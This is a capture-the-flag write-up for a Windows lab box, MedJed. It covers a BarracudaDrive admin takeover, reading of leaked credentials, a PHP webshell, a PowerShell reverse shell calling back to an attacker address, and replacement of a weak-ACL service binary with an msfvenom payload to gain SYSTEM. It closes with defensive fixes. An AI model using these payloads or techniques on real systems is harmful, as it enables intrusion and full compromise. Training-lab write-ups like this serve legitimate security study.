
This MedJed OffSec Practice writeup walks through a BarracudaDrive admin-portal takeover, arbitrary filesystem read/write, a PHP webshell foothold in the XAMPP root, and a weak service-binary ACL escalation to SYSTEM on Windows.
Summary
MedJed is a Windows host that exposes an unusually large attack surface: several web applications, an anonymous FTP service, a MySQL database and — most importantly — a BarracudaDrive web file server listening on port 8000. The box is full of deliberate rabbit holes (a Ruby/Rails application, a Quiz App, a /slug SSRF-looking endpoint), so the key skill is disciplined triage and recognising which service actually grants leverage.
The intended path abuses the BarracudaDrive web portal, whose first-run wizard lets any visitor register the administrative account. With admin access, the built-in file manager grants arbitrary read/write over the Windows filesystem. We read an application database to recover credentials, then pivot the same file manager into an arbitrary file write against the XAMPP web root to drop a PHP webshell and obtain a foothold.
Privilege escalation leverages a well-known BarracudaDrive flaw: the service binary sits in a world-writable directory with weak ACLs, so we replace the service executable with a malicious payload and trigger a reboot to execute it as NT AUTHORITY\SYSTEM.
Reconnaissance
rustscan -a 192.168.223.127 -- -A -oN target
| PORT | SERVICE | INFO |
|---|---|---|
| 135/tcp | Microsoft Windows RPC | – |
| 139/tcp | NetBIOS-SSN | – |
| 445/tcp | Microsoft-DS (SMB) | – |
| 3306/tcp | MariaDB 10.3.24 or later | Unauthorized (remote access denied) |
| 5040/tcp | unknown | – |
| 7680/tcp | pando-pub? | Windows Update Delivery Optimization |
| 8000/tcp | BarracudaServer.com (Windows) | BarracudaDrive 6.5; WebDAV enabled (PUT, DELETE, MKCOL, MOVE…); title Home |
| 30021/tcp | FileZilla ftpd 0.9.41 beta | Anonymous login allowed; serves a Ruby/Rails app source tree (Gemfile, config.ru, app/, db/) |
| 33033/tcp | HTTP (Ruby on Rails) | Rails app — login + forgot-password page; 404 leaks valid routes incl. /slug |
| 44330/tcp | ssl/unknown | SharkSSL demo cert (Real Time Logic) — part of the Barracuda stack |
| 45332/tcp | Apache httpd 2.4.46 (Win64) PHP/7.3.23 | XAMPP; title Quiz App |
| 45443/tcp | Apache httpd 2.4.46 (Win64) PHP/7.3.23 | Same Quiz App (TLS) |
| 49664-49669/tcp | Microsoft Windows RPC | Standard dynamic RPC range |
Service triage
Port 30021 — Anonymous FTP. Anonymous login is permitted. Mirror the whole tree and review it:
wget -r ftp://anonymous:anonymous@192.168.223.127:30021/
The share only contains the source of a stock Rails application — no secrets, no credentials. Rabbit hole.
Ports 33033 / 45332 / 45443 — Web apps. Port 33033 is a Rails app with nothing but a login and a forgot password form; ports 45332/45443 are a static Quiz App that does nothing interesting on its own. All three are dead ends at this stage.
That leaves port 8000 — BarracudaDrive 6.5 (BarracudaServer.com) as the only service offering real interaction, so it becomes the primary target.
Initial access
Registering the BarracudaDrive admin account
Browsing to http://192.168.223.127:8000/ presents the BarracudaDrive first-run wizard. Because the appliance was never properly provisioned, any visitor is allowed to create the administrator account. We register our own admin user and log in, which unlocks the full Web File Server interface.
Reading application credentials from the filesystem
The BarracudaDrive file manager exposes the host filesystem under /fs/. Browsing to the site data of the Rails application reveals a SQL dump:
/fs/C/Sites/userpro/db.sql
The users table contains bcrypt password hashes and, in the last column, each user’s plaintext password-recovery word — the secret the forgot-password flow on port 33033 validates:
INSERT INTO `users` VALUES
(1,'Evren Eagan','evren.eagan','$2a$12$ojvpmLJ4rT8A10Iz98FptOWyw5W2miGIkFCuNk/hy57YNJCr8LvL.', ... ,'4qpdR87QYjRbog'),
(3,'Joe Webb','joe.webb','$2a$12$DJlbsfExOXIKTKZlcMbpqu/HwLfA/dGktEWWAl7JXE3riqqhdoexS', ... ,'4qpdR87QYjRbog'),
(4,'Jerren Valon','jerren.devops','$2a$12$Cb5cpzp.pLZU2AqwiszWPut5erYzGaphhZFWjUdEBXg/wdWa3pWEK', ... ,'paranoid'),
(6,'Kenneth Dooley','kenneth.dooley','$2a$12$dBG4TsYsDFEHVH9zUU4rgu6zexKbPPxQz2ecb.HFG/C8d.cBv5aNa', ... ,'xuk1EuP3N/rCpA'),
(7,'Laura Lauer','laura.lauer','$2a$12$m8bhpyBs40mhfkRWJXl1BO7ZKFFOGaSzBa77eqjEdLZ5BVMVTtWbS', ... ,'AJqKXnKVwhcSkg'),
(8,'Christopher Mouser','christopher','$2a$12$EObZ3ExrLTmlH1zbWmiKZOSq5jmTAzSsf.OGXg322lteuJDDmSvS.', ... ,'WgsjOZwtOyCRSg');
Rather than crack bcrypt, we abuse the recovery words directly. On the forgot-password form at port 33033, supplying the recovery word paranoid lets us reset the password of jerren.devops and authenticate to the Rails app. Once inside we can edit the user profile (bio + avatar image).
Rabbit holes inside the Rails app
Several promising-looking vectors in the Rails app all fail — worth noting so they are not repeated:
- Profile image upload → webshell: uploaded shells (PHP and Ruby) are only served back as downloads, never executed. The app is not a file-upload vector.
- SSTI in the profile fields: no template evaluation occurs.
/slugendpoint (leaked by the 404 page) takes aURLparameter and looks like SSRF; a'triggers a MySQL error, butsqlmapconfirms it is not injectable:
sqlmap -u 'http://192.168.223.127:33033/slug?URL=test' -p URL \
--threads=10 --batch --technique=E --dbms=mysql
The Rails app is a decoy. The real foothold is back in the BarracudaDrive file manager.
Arbitrary file write to the XAMPP web root → webshell
The BarracudaDrive file manager not only reads the filesystem, it also writes to it. The XAMPP document root C:\xampp\htdocs — served by Apache/PHP on ports 45332/45443 — is writable, so we upload a PHP webshell there and request it through the Apache listener:
<?php system($_GET['cmd']); ?>
With command execution confirmed via the webshell on port 45332, we stage a PowerShell reverse shell. Build the Base64 (UTF-16LE) encoded payload:
$Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.45.163",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText = [Convert]::ToBase64String($Bytes)
$EncodedText
Trigger it through the webshell:
http://192.168.223.127:45332/shell.php?cmd=powershell -enc <ENCODED_PAYLOAD>
A reverse shell lands as jerren, granting the user flag.
Privilege escalation
The version banner from reconnaissance (BarracudaDrive v6.5) maps directly to a local privilege escalation primitive (ExploitDB 48789): the Barracuda service binary lives in a directory with weak ACLs, allowing a low-privileged user to replace the service executable. See Leveraging Windows Services.
1. Confirm the weak permissions on C:\bd and the service binary C:\bd\bd.exe:
PS C:\bd> icacls .
. BUILTIN\Administrators:(I)(OI)(CI)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)
PS C:\bd> icacls C:\bd\bd.exe
C:\bd\bd.exe BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Users:(I)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
NT AUTHORITY\Authenticated Users holds (M) Modify on both the directory and bd.exe — enough to overwrite the binary that the SYSTEM-level service launches at boot.
2. Replace the service binary. Move the legitimate executable aside and drop a malicious replacement in its place:
move bd.exe bd.service.exe
Generate the payload on Kali and upload it (via the same BarracudaDrive file manager) to C:\bd\bd.exe:
msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=4444 -f exe -o bd.exe
3. Trigger execution with a reboot. The Barracuda service restarts at boot and runs our binary as NT AUTHORITY\SYSTEM:
shutdown /r
After the host comes back up, a reverse shell connects back as nt authority\system, giving full control of the machine and the root flag.
Conclusion
MedJed is a lesson in surface triage and trust boundaries. Its difficulty comes almost entirely from noise: an anonymous FTP share, a decoy Rails application with a tempting /slug SSRF/SQLi lure, and a static Quiz App all compete for attention, while the real foothold hides behind a single misconfigured file server.
Two root causes drive the entire compromise:
- Unprovisioned BarracudaDrive portal. Leaving the first-run wizard reachable let an anonymous attacker claim the administrator account, which in turn exposed an authenticated file manager with full read/write over the Windows filesystem. That single primitive both leaked credentials (reading
db.sql) and delivered the foothold (writing a PHP shell into the XAMPP web root). Appliances must be provisioned and locked down before being exposed, and management file-browsers should never be scoped to the whole disk. - Weak service-binary ACLs.
Authenticated Userswith Modify rights over a SYSTEM service executable turns any foothold intoSYSTEMwith a single file swap and a reboot. Service binaries belong in protected directories (C:\Program Files\…) with ACLs that grant standard users read/execute only.
Defensively: store application secrets outside web/file-server roots and never persist plaintext recovery words alongside password hashes; segment the XAMPP root so a file server cannot write executable content into it; and audit third-party service installations with tools like accesschk/PowerUp for weak directory and binary permissions.